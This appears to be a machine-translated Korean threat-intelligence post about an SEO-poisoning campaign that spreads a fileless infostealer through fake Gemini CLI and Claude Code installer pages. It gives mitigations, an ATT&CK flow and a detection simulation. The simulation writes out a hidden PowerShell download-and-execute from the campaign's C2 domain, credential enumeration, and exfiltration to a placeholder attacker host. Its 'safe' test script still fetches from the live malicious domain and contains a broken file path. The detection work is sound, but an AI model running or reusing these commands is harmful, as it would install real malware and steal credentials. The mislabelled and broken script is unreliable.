SOC Prime Bias: Medium

25 May 2026 16:29 UTC

SEO 독극물 캠페인, Gemini 및 Claude 코드 유인물로 정보 탈취기 전달

Author Photo
SOC Prime Team linkedin icon 팔로우
SEO 독극물 캠페인, Gemini 및 Claude 코드 유인물로 정보 탈취기 전달
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

금전적 동기를 가진 eCrime 행위자들이 SEO 포이징을 사용하여 AI 코딩 보조 프로그램 설치 프로그램을 모방한 가짜 도메인을 홍보하고 있습니다. 피해자가 이러한 페이지에서 단일 PowerShell 명령을 복사하여 붙여넣으면 파일 없는 인포스틸러가 메모리에서 전적으로 실행됩니다. 이 멀웨어는 자격 증명, 세션 쿠키, VPN 키 및 민감한 파일을 훔쳐서 데이터를 암호화된 형태로 명령 및 제어 서버에 유출합니다. 이 캠페인은 Windows 개발자 워크스테이션을 대상으로 하며, 익숙한 개발자 도구를 악용하여 정상적인 활동에 섞여 드는 형태입니다.

조사

EclecticIQ 분석가는 악성 인프라를 .co.com 도메인으로 추적하여 PowerShell 다운로드 문자열을 서비스를 통해 irm and iex. 첫 단계 스크립트는 Shell.Application.ShellExecute를 사용하여 숨겨진 PowerShell 창을 실행한 후 추가적인 C# 타입을 로드하여 자격 증명, 시스템 세부 정보 및 기타 귀중한 데이터를 수집합니다. HTTP 및 HTTPS를 통한 유출이 관찰되었습니다 events.msft23.com and events.ms709.com 특정 URL 경로를 사용하여. 수동 DNS 분석은 네덜란드의 총도적인 호스팅 제공자와의 연관성을 나타냈으며, 오타 도메인 클러스터의 더 넓은 그룹으로 연결됩니다.

완화

방어자는 irm | iex 실행 패턴, 숨겨진 PowerShell 창, 및 의심스러운 Add-Type 을 포함한 P/Invoke 호출 사용을 감지하고 차단해야 합니다. 조직은 PowerShell 제한된 언어 모드를 강제하고, AppLocker 또는 WDAC를 사용하여 인터넷에서 소스된 콘텐츠의 스크립트 실행을 방지해야 합니다. 브라우저 클립보드 쓰기 접근을 제한하고 개발자 계정에 대해 단기 OAuth 토큰을 강제하는 것도 노출을 줄이는 데 도움이 됩니다. 개발자들도 신뢰할 수 없는 웹사이트에서 복사한 명령어를 피하도록 교육받아야 합니다.

응답

보안 팀은 -WindowStyle Hidden 으로 시작된 PowerShell 프로세스에 경고를 발생시켜야 하며 Shell.Application.ShellExecute. 이를 *-setup.com or events.*.com과 일치하는 도메인에 대한 아웃바운드 HTTP 요청과 연관시켜야 합니다. 특히 경로가 /take, /process, 혹은 /validate 로 나타날 때. 이러한 행동이 탐지되면 영향을 받은 엔드포인트를 격리하고, PowerShell 로그를 수집하며 브라우저 데이터 및 자격 증명 저장소에 대한 포렌식 수집을 수행하십시오.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% 노드 – 액션 initial_access[“<b>작업</b> – <b>T1189 드라이브 바이 침해</b>: SEO 오염된 검색 결과가 가짜 Gemini CLI / Claude Code 설치 페이지를 제공.<br/><b>하위 기술</b> T1204.001 사용자 실행(악성 링크) 및 T1204.004 사용자 실행(복사-붙여넣기 PowerShell 원라이너).”] class initial_access action execution[“<b>작업</b> – <b>T1059.001 PowerShell</b>: Shell.Application.ShellExecute를 통한 메모리 내 스크립트 실행, 리플렉티브 다운로드/실행(irm|iex).<br/><b>난독화</b> T1027 및 T1027.016 정크 코드.”] class execution action defense_evasion[“<b>작업</b> – <b>T1562.001 보안 도구 비활성화</b>: amsi.dll 패치, ETW 비활성화, qemu-ga 샌드박스 탐지.”] class defense_evasion action credential_access[“<b>작업</b> – <b>T1555.003 웹 브라우저 자격 증명</b>: 브라우저 자격 증명 및 쿠키 추출.<br/><b>추가 기술</b> T1555.004 Windows 자격 증명 관리자, T1552.001 파일 내 자격 증명, T1552.002 레지스트리 내 자격 증명, T1539 웹 세션 쿠키 탈취, T1550.004 세션 쿠키.”] class credential_access action discovery[“<b>작업</b> – <b>T1057 프로세스 탐지</b>: Restart Manager를 통한 프로세스 열거.<br/><b>추가 기술</b> T1083 파일 및 디렉토리 탐지, T1217 브라우저 정보 탐지, T1497.002 가상화/샌드박스 회피.”] class discovery action collection[“<b>작업</b> – <b>T1005 로컬 시스템 데이터 수집</b>: 사용자 파일(*.txt, *.docx) 및 클라우드 동기화 디렉토리(T1039) 수집.”] class collection action command_and_control[“<b>작업</b> – <b>T1071.001 웹 프로토콜</b>: events.msft23.com / events.ms709.com HTTPS 비콘(/take, /process, /validate).<br/><b>암호화</b> RSA 암호화 작업 목록(T1573) 및 페이로드 다운로드(T1105 인바운드 도구 전송).”] class command_and_control action exfiltration[“<b>작업</b> – <b>T1041 C2 채널을 통한 유출</b>: 수집된 데이터 암호화 전송.<br/><b>하위 기술</b> T1020 자동화된 유출.”] class exfiltration action %% 노드 – 도구 / 악성코드 tool_powershell[“<b>도구</b> – <b>이름</b>: PowerShell<br/><b>설명</b>: 메모리 내 실행을 위한 Windows 스크립팅 엔진.”] class tool_powershell tool tool_shellexecute[“<b>도구</b> – <b>이름</b>: Shell.Application.ShellExecute<br/><b>설명</b>: 숨겨진 창에서 스크립트 실행.”] class tool_shellexecute tool tool_amsi_patch[“<b>도구</b> – <b>이름</b>: AMSI 패치<br/><b>설명</b>: amsi.dll을 수정하여 스크립트 분석 우회.”] class tool_amsi_patch tool tool_etw_disable[“<b>도구</b> – <b>이름</b>: ETW 비활성화<br/><b>설명</b>: Windows 이벤트 추적을 비활성화하여 탐지 회피.”] class tool_etw_disable tool tool_credmanager[“<b>도구</b> – <b>이름</b>: CredEnumerate API<br/><b>설명</b>: Windows 자격 증명 관리자에서 자격 증명 획득.”] class tool_credmanager tool tool_ssh_reg[“<b>도구</b> – <b>이름</b>: 레지스트리 수집<br/><b>설명</b>: WinSCP 및 PuTTY 저장 비밀번호를 레지스트리에서 읽음.”] class tool_ssh_reg tool tool_vpn[“<b>도구</b> – <b>이름</b>: VPN 구성 수집기<br/><b>설명</b>: VPN 구성 파일 수집 및 재사용.”] class tool_vpn tool tool_wallet[“<b>도구</b> – <b>이름</b>: 암호화폐 지갑 탈취<br/><b>설명</b>: 지갑 파일 및 개인 키 추출.”] class tool_wallet tool %% 연결 – 공격 흐름 initial_access –>|진행| execution execution –>|사용| tool_powershell execution –>|사용| tool_shellexecute execution –>|포함| tool_amsi_patch execution –>|포함| tool_etw_disable execution –>|진행| defense_evasion defense_evasion –>|사용| tool_amsi_patch defense_evasion –>|사용| tool_etw_disable defense_evasion –>|진행| credential_access credential_access –>|사용| tool_credmanager credential_access –>|사용| tool_ssh_reg credential_access –>|사용| tool_vpn credential_access –>|사용| tool_wallet credential_access –>|진행| discovery discovery –>|진행| collection collection –>|진행| command_and_control command_and_control –>|사용| tool_powershell command_and_control –>|진행| exfiltration

공격 흐름

시뮬레이션 실행

전제조건: 텔레메트리 및 베이스라인 사전 비행 점검이 통과되어야 합니다.

이유: 이 섹션에서는 탐지 규칙을 트리거하기 위한 적의 기술기법(TTP)의 정확한 실행을 명확히 설명합니다. 명령어와 설명은 TTPs로 식별된 내용을 직접 반영하며 탐지 논리에서 기대하는 정확한 텔레메트리를 생성하기 위해 목표로 합니다. 추상적이거나 관련 없는 예시는 오진으로 이끌 것입니다.

  • 공격 서사 & 명령어:
    공격자는 낮은 권한의 사용자 계정을 타협하여 PowerShell 원 라이너를 통해 실행합니다 cmd.exe. 원 라이너는 irm (Invoke‑RestMethod)를 사용하여 악성 PowerShell 스크립트를 가져오고 events.msft23.com, 이를 iex (Invoke‑Expression)로 파이핑하여 페이로드를 전적으로 메모리 내에서 실행합니다. 그리고 PowerShell 창을 숨겨 어깨 넘겨보기 방지합니다. 이후 이 페이로드는 Add‑Type 을 사용하여 자격 증명 열거를 수행하기 위하여 .NET 타입을 로드하고 CredEnumerate API를 통해 수집된 데이터를 HTTPS를 통해 유출합니다. 모든 단계는 디스크에 파일을 기록하지 않고 실행되며 “파일리스” 설명에 부합합니다.

    # 1단계 – 숨겨진 PowerShell 실행
    powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

    다운로드된 payload.ps1 (메모리 내에서 실행)가 포함하는 내용:

    # 2단계 – 자격 증명 열거를 위한 .NET 타입 로드
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport(""advapi32.dll"", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    # 3단계 – 자격 증명 덤프 호출 및 유출
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "수집한 자격 증명 $count 개"
    Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

    이 시퀀스는 시그마 규칙의 일치 조각을 생성합니다:

    • powershell.exe -WindowStyle Hidden
    • irm events.msft23.com | iex
    • Add-Type
    • advapi32.dll!CredEnumerate
  • 회귀 테스트 스크립트: 다음 스크립트는 테스트 워크스테이션에서 정확한 행동을 재현합니다. 상승된 PowerShell 프롬프트에서 실행하십시오.

    # 파일리스 PowerShell 인포스틸러 시뮬레이션 – TC-20260525-A7Z3K
    # ------------------------------------------------------------
    # 1단계 – 페이로드를 다운로드하여 실행하는 숨겨진 PowerShell 실행
    $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
    
    # 안전한 테스트를 위해 로컬에 호스팅된 모의 payload.ps1 콘텐츠
    $payload = @'
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "수집한 자격 증명 $count 개"
    # 무해한 엔드포인트로의 유출을 시뮬레이션
    Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
    '@
    
    # 테스트를 위한 임시 위치에 모의 페이로드 작성 (원격 호스팅 시뮬레이션)
    $tempPath = "$env:TEMPpayload.ps1"
    Set-Content -Path $tempPath -Value $payload -Encoding UTF8
    
    # 데모를 위한 간단한 로컬 HTTP 리스너를 통해 페이로드 전송
    $listener = [System.Net.HttpListener]::new()
    $listener.Prefixes.Add("http://+:8080/")
    $listener.Start()
    Write-Host "http://localhost:8080/payload.ps1 에서 모의 페이로드 전송"
    while ($listener.IsListening) {
        $context = $listener.GetContext()
        if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
            $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
            $context.Response.ContentLength64 = $bytes.Length
            $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
            $context.Response.Close()
        }
    }
    # 주의: 유효성을 확인한 후 리스너를 수동으로 중지하십시오.
  • 정리 명령: 임시 파일을 제거하고 HTTP 리스너를 중지하세요.

    # 시뮬레이션 후 정리
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    # 여전히 실행 중인 경우 로컬 HTTP 리스너 중지
    Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force